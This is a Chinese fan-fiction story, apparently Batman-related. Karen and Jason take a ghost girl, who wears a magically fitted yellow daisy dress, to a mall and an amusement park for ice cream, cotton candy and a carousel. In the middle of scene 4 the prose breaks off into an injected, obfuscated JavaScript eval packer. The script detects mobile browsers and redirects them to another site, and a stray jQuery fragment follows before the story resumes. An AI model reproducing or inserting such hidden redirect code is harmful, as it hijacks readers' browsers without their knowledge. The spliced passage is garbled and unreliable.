1
商场的洗手间门口，卡伦蹲下来，把那条鹅黄色的裙子从袋子里拿出来。裙摆上的小雏菊在日光灯底下亮得有点过分，像一群被关在布料里的、还没长大的小太阳。
“换吗？”卡伦问。
她点头。
卡伦站起来，看了一眼女洗手间的门，又看了一眼自己。他一个大男人，带一个小女孩进女洗手间——不合适。让她自己进去换——她不一定会穿，而且她那副样子，被人看见了，大概会以为他是那种把孩子丢在商场的混蛋爸爸。
他想了想。然后他蹲下来，把裙子平铺在地上。
“站到中间来。”他说。
小女孩踩到裙子上。黄裙子在她脚底下铺开，小雏菊被她踩扁了几朵。
他把手覆在她的肩膀上。
银白色的光从他的指尖渗出来，像水，像丝线，像某种活着的东西。那些光丝钻进裙子的布料里，把黄裙子从地上拉起来，裹住她的身体。裙摆在她膝盖上方收拢，小雏菊一朵一朵地弹起来，重新站好。袖口收紧，贴着她细细的手臂。领口折下去，露出她瘦削的锁骨。
整个过程不到三秒。小女孩低头看着自己。黄裙子，亮亮的，把她整个人都照暖了。她伸出手，想摸一下裙摆。手指穿过去了。她把手指缩回来，攥成拳头。又伸出去摸了一下，还是穿过去了。她低着头，看着自己的手，不说话。
卡伦蹲下来。“摸我。”他说。
她抬头看他。卡伦把手伸出来，掌心朝上。她把手放在他的掌心里。
“好看吗？”她问。
“好看。”卡伦说，“特别好看。”
她的嘴角翘了一下。她把手从他的掌心里收回来，攥着裙摆，往洗手间外面走。走了两步，停下来，回头。
“妈妈。”
“嗯？”
“谢谢你。”
卡伦愣了一下。
“不客气。”卡伦说。
她笑了一下，转身走出去了。卡伦跟在后面。杰森靠在洗手间外面的墙上，双手插在口袋里。他看见小女孩的时候，表情稍微变得柔和。
“好看。”他说。声音有点哑，他清了清嗓子。“走吧。”
他转身往商场门口走。小女孩攥着裙摆，小跑着跟上去，经过卡伦的时候，仰头看了他一眼。暗红色的眼睛像是被照亮的红宝石。
卡伦跟在后面，看着她黄裙子上的小雏菊在她膝盖上一跳一跳的。
———
2
游乐园在哥谭东郊，开车四十分钟。
杰森开车，小女孩坐在后座，卡伦坐在她旁边。她把脸贴在车窗上，看着外面的东西往后退——房子、树、路灯、电线杆、一只蹲在垃圾桶旁边的猫。
“爸爸，”她问，“树为什么要跑？”
杰森从后视镜里看了她一眼。“没跑。是车在动。”
“车为什么要动？”
“因为要去游乐园。”
“游乐园为什么要去？”
杰森沉默了两秒。“因为你想去。”
小女孩想了想。“那我不想去了，车是不是就不动了？”
杰森又沉默了两秒。“会，但你会后悔。”
小女孩又想了想。“那还是去吧。”她把脸重新贴回车窗上。树继续跑。
过了一会儿，她又开口了。“爸爸。”
“嗯。”
“冰淇淋是什么？”
“一种冰冰凉凉的甜品，用牛奶做的。”
“牛奶是什么？”
“奶牛产的饮品。”
“奶牛是什么？”
杰森有点心累了，从后视镜里看了一眼卡伦。
差点说出那句经典的“去找你妈妈”。
卡伦靠在椅背上，嘴角翘着，表情是那种“你别看我我也不知怎么解释”的快乐。
“一种动物。”杰森说，“很大，有四条腿。”
“比爸爸大吗？”
“比爸爸大。”
小女孩沉默了很久。车窗外的树还在跑。“那它会不会把游乐园踩坏？”
“不会，它在农场里。”
“农场是什么？”
“养牛的地方。”
“那它为什么不跑？”
杰森深吸一口气。
“因为它是牛。”
小女孩点了点头，好像这个解释完美地回答了她的问题。她把脸从车窗上抬起来，低头研究自己的裙子，小雏菊在膝盖上一晃一晃的。
“妈妈，”她问，“这些花是真的吗？”
“不是，假的。”
“那真的花长什么样？”
卡伦想了想。“有花瓣，有香味，有蜜蜂围着转。”
“蜜蜂会蜇人吗？”
“会的。”
“那我不喜欢真的花。”她低头把小雏菊拍平，很认真地宣布，“我喜欢假的。”
杰森从后视镜里看了卡伦一眼。卡伦没注意到。他在看小女孩。她低着头，手指在裙摆上摸来摸去，摸不到布料，但她还是在摸，好像只要摸得够久，总有一天能碰到。
———
3
游乐园门口排着队。卡伦买的VIP票不用排，但他没走VIP通道。
“排队也是游乐园的一部分。”他对小女孩说。
她攥着他的衣角，踮着脚往前看。队伍不算很长，前面有一个妈妈牵着一个小男孩，小男孩手里拿着一个蜘蛛侠气球。后面有一对情侣，女生头上戴着米老鼠耳朵发箍，男生脖子上挂着一只巨大的粉色火烈鸟游泳圈。
小女孩盯着那只火烈鸟看了很久。“那是什么？”
“火烈鸟。”
“它为什么是粉色的？”
“因为它吃了太多虾。”
小女孩瞪大了眼睛。她转头看卡伦，表情严肃。“那我也要吃虾。”
“吃了不会变粉色的，你是人。”
“那火烈鸟是鸟？”
“对。”
“那我也要当鸟。”
卡伦想了想。“你当鸟的话，就不能吃冰淇淋了。”
小女孩的表情裂开了。她站在原地，陷入了一场激烈的哲学思辨——当鸟还是吃冰淇淋。杰森从后面走过来，手里拿着三张票。“进去了。”
小女孩抬头看他，表情还是裂开的。“爸爸，当鸟好还是吃冰淇淋好？”
杰森看了卡伦一眼。卡伦耸肩。
“吃冰淇淋。”杰森说。
“为什么？”
“因为鸟会被猫抓。”
小女孩的脸色变了。“猫会抓鸟？”
“会。”
“那我不当鸟了。”她攥紧卡伦的衣角，往他腿边缩了缩。“猫会抓我吗？”
“不会，你是人。”
“那猫会抓爸爸吗？”
“不会，爸爸比猫大。”
小女孩松了一口气。她跟着杰森走进游乐园的大门，然后停住了。
她的嘴张着，眼睛瞪得圆圆的，攥着卡伦衣角的手指松开了。
她面前是一个巨大的、彩色的、会动会叫会发光的世界。旋转木马在转，音乐叮叮咚咚的，彩色的灯在小马的鬃毛上一明一灭。碰碰车在撞，叮叮咣咣的，小孩在尖叫。过山车从头顶飞过去，风把她的头发吹起来，她仰着头，看着那串尖叫的人从天上滑过去，嘴巴张得比那些尖叫的人还大。
“妈妈。”她说。
“嗯。”
“这是什么地方？”
“游乐园。”
她点了点头，像在确认一件很重要的事。“我喜欢这里。”
———
4
冰淇淋车在旋转木马旁边，车顶上竖着一个巨大的塑料甜筒，甜筒上面那颗球被太阳晒得有点歪。
小女孩站在车前面，仰着头看菜单板。
她不认字，但她认识图片。
“要哪个？”杰森问。
她看了很久。手指在菜单板上点来点去，点了草莓，又移到巧克力，又移到香草。
“都要。”她说。
“吃不完。”
“吃得完。”
杰森看了卡伦一眼，卡伦耸肩。杰森买了三个球。草莓的，巧克力的，香草的，放在一个纸碗里，上面插着一根小纸伞。
纸碗和勺子用的是卡伦自带的——这个小女孩碰得到。
小女孩接过纸碗，低头看着那三个球。草莓是粉色的，巧克力是棕色的，香草是白色的，挤在一起，像三个不同颜色的小朋友。她用小纸伞戳了一下草莓球，戳了一个洞，草莓味的冰淇淋从洞里慢慢流出来，流到巧克力的球上，变成一条粉色的河。
她挖了一勺，放进嘴里。她愣住了。
“怎么了？”卡伦问。
她没说话。她又挖了一勺。又放进嘴里。然后她蹲下来，把纸碗放在地上，两只手捂着脸。杰森和卡伦对视了一眼。杰森蹲下来。“不好吃？”
她摇头，手还捂着脸。
“太甜了？”
她摇头。
“太凉了？”
她摇头。她把手指张开一条缝，露出暗红色的眼睛。“太好吃了。”她说，声音闷在掌心里，“比我想象的还好吃。”
杰森蹲在那里，看着她捂着脸的手指，指缝里渗出来的暗红色眼睛，他没说话。他站起来，走到冰淇淋车前面，又买了一个球。香草的，放在一个纸碗里，没有小纸伞。他走回来，把纸碗放在小女孩面前。
“吃不完的给我。”他说。
“爸爸不吃吗？”
“吃，等你吃不完再吃。”
小女孩点了点头。她吃得很慢，每一勺都要在嘴里含很久，好像在尝味道，又好像在记住这个味道。吃到第三口的时候，她停下来了。低头看着碗里还剩大半的冰淇淋。
怨灵本身吃不了任何东西，但她用的是卡伦的纸碗。
“吃不下了。”她说。
杰森把那碗一个球的推过去。“先吃这个。”
小女孩端起那碗香草的，挖了一勺，放进嘴里。又挖了一勺。吃到一半，又停下来了。她看着杰森，表情有点愧疚。“爸爸，我吃不下了。”
杰森没说话。他把她那碗三个球的端过来，挖了一勺，放进嘴里。化得厉害，几乎成了液体，混着草莓的粉色和巧克力的棕色，变成一种说不清道不明的颜色。他一口一口地把那碗化掉的冰淇淋吃完了。
小女孩看着他，嘴张着。“爸爸，好吃吗？”
“不好吃。”杰森说。他把空碗扔进垃圾桶，又把她那碗剩了一半的香草端
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444126|201073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来，两口吃完了。“但别浪费。”
小女孩点了点头。她把小纸伞从纸碗里捡出来，攥在手心里。“爸爸。”
“嗯？”
“下次我只要一个球。”
杰森看了她一眼。“行。”
她笑了一下。她把小纸伞插进裙摆的口袋里——口袋是卡伦用魔法变的，和裙子一样是鹅黄色的，上面也有一朵小雏菊。她拍了拍口袋，确认小纸伞不会掉出来。然后她仰着头看杰森。“爸爸，那是什么？”
杰森顺着她的手指看过去。棉花糖摊。粉色的，蓝色的，紫色的，白色的，云朵一样堆在架子上。
“棉花糖。”
“我想要。”
杰森看了一眼卡伦，卡伦再次耸肩。
杰森走过去，买了一个粉色的，举回来，递给她。小女孩接过棉花糖，愣住了。它比她的脸还大。
她伸出舌头，舔了一下。甜甜的，她的嘴角翘起来，又舔了一下。她舔了第三下的时候，棉花糖少了一个尖角。她舔了第四下的时候，手歪了一下，整个棉花糖从竹签上滑下来，掉在她的裙摆上。粉色的，粘粘的，糊在小雏菊上面。
她低头看着裙摆上的那坨粉色，表情像世界末日。
“妈妈，”她的声音在发抖，“裙子脏了。”
卡伦蹲下来，把手覆在她的裙摆上。银白色的光闪了一下。棉花糖的痕迹消失了，小雏菊重新露出来，干干净净的。
小女孩看着裙摆，又看着卡伦的手，又看着裙摆。
“妈妈好厉害。”她小声说。
“再来一个？”卡伦问。
她摇头。“吃不下了。”她低头看着地上那坨掉下来的棉花糖，又看着杰森。“爸爸——”
“不吃。”杰森说。
小女孩的表情又裂开了。她看着地上的棉花糖，好像在看一个被遗弃的小朋友。“它好可怜。”
杰森深吸一口气。他弯腰把地上的棉花糖捡起来——粉色的，粘着灰，还有一小片不知道谁踩过的脚印。他扔进垃圾桶。转身看着小女孩。“它不可怜。它去了垃圾桶，垃圾桶里有很多它的朋友。”
小女孩想了想。“垃圾桶里有棉花糖的朋友？”
“有。草莓味的，巧克力味的，香草味的。都在里面。”
小女孩点了点头，好像这个解释完美地回答了她的问题。她攥着卡伦的衣角，继续往前走。走了两步，回头看了一眼垃圾桶。“它们会冷吗？”
“不会。垃圾桶有盖子。”
小女孩放心了。
———
5
旋转木马是杰森坐的。
不是他想坐，是小女孩要坐，但她说“爸爸陪我”。
杰森站在旋转木马旁边，看着那匹粉色的、镶着假宝石的、眼睛画着长睫毛的马，沉默了五秒。
“我站旁边看你。”
小女孩摇头。“要爸爸一起。”
杰森看了卡伦一眼。卡伦站在围栏外面，手里举着手机，表情十分快乐。
“你上去。”卡伦说。
“你怎么不上？”
“她又没叫我。”
杰森盯着他，无果。卡伦一直保持着那副无辜的表情。
然后他跨上那匹粉色的马，手抓着那根金色的杆子，指节发白。小女孩坐在他前面那匹白色的小马上，回头看他。暗红色的眼睛亮亮的，嘴角翘得老高。
“爸爸，你好像在骑小毛驴。”
杰森没说话。
音乐响了，旋转木马开始动起来。粉色的马一上一下的，杰森的身体也跟着一上一下的。
上帝，希望他今天不会遇到任何一个熟人，或者熟悉的监视器，监听器。
否则这一幕会变成提姆足矣威胁他一年的把柄。
小女孩转回去，抱住她的小白马，笑得咯咯的。旋转木马转了一圈又一圈。杰森开始习惯那匹粉色马的节奏了。他甚至松开了一只手，插进口袋里。
卡伦站在围栏外面，举着手机，拍了一张。
杰森的目光扫过来。
卡伦把手机放下，假装在看旁边的过山车。
旋转木马停了。杰森从那匹粉色的马上跨下来，腿有点麻。他走出围栏。小女孩跟在他后面，手攥着他的衣角。
“爸爸。”
“嗯。”
“你刚才笑了。”
“没有。”
“笑了，我看见了。”
杰森没说话。
他往前走，小女孩小跑着跟上，黄裙子上的小雏菊在她膝盖上一跳一跳的。
卡伦跟在后面，把手机塞进口袋里。他刚才拍到了一张。杰森坐在粉色木马上，嘴角上扬，很小，很轻，像一个人坐在黄昏的窗台前面，什么都不想，露出一点有些纯粹的快乐。
卡伦没删，他当然不会删，这张照片将来可是要跟着他入土的。
别说他变态，拜托他都没有要求合葬，拿张照片怎么了？
他跟在后面，看着那一高一矮两个背影。高的那个，步子很大，但每一步都等一小下。矮的那个，黄裙子在阳光下亮得像一小片被剪下来的阳光。
她攥着杰森的衣角，走得跌跌撞撞的，但比昨天稳，比昨天快。
卡伦把手插进口袋里，跟上去。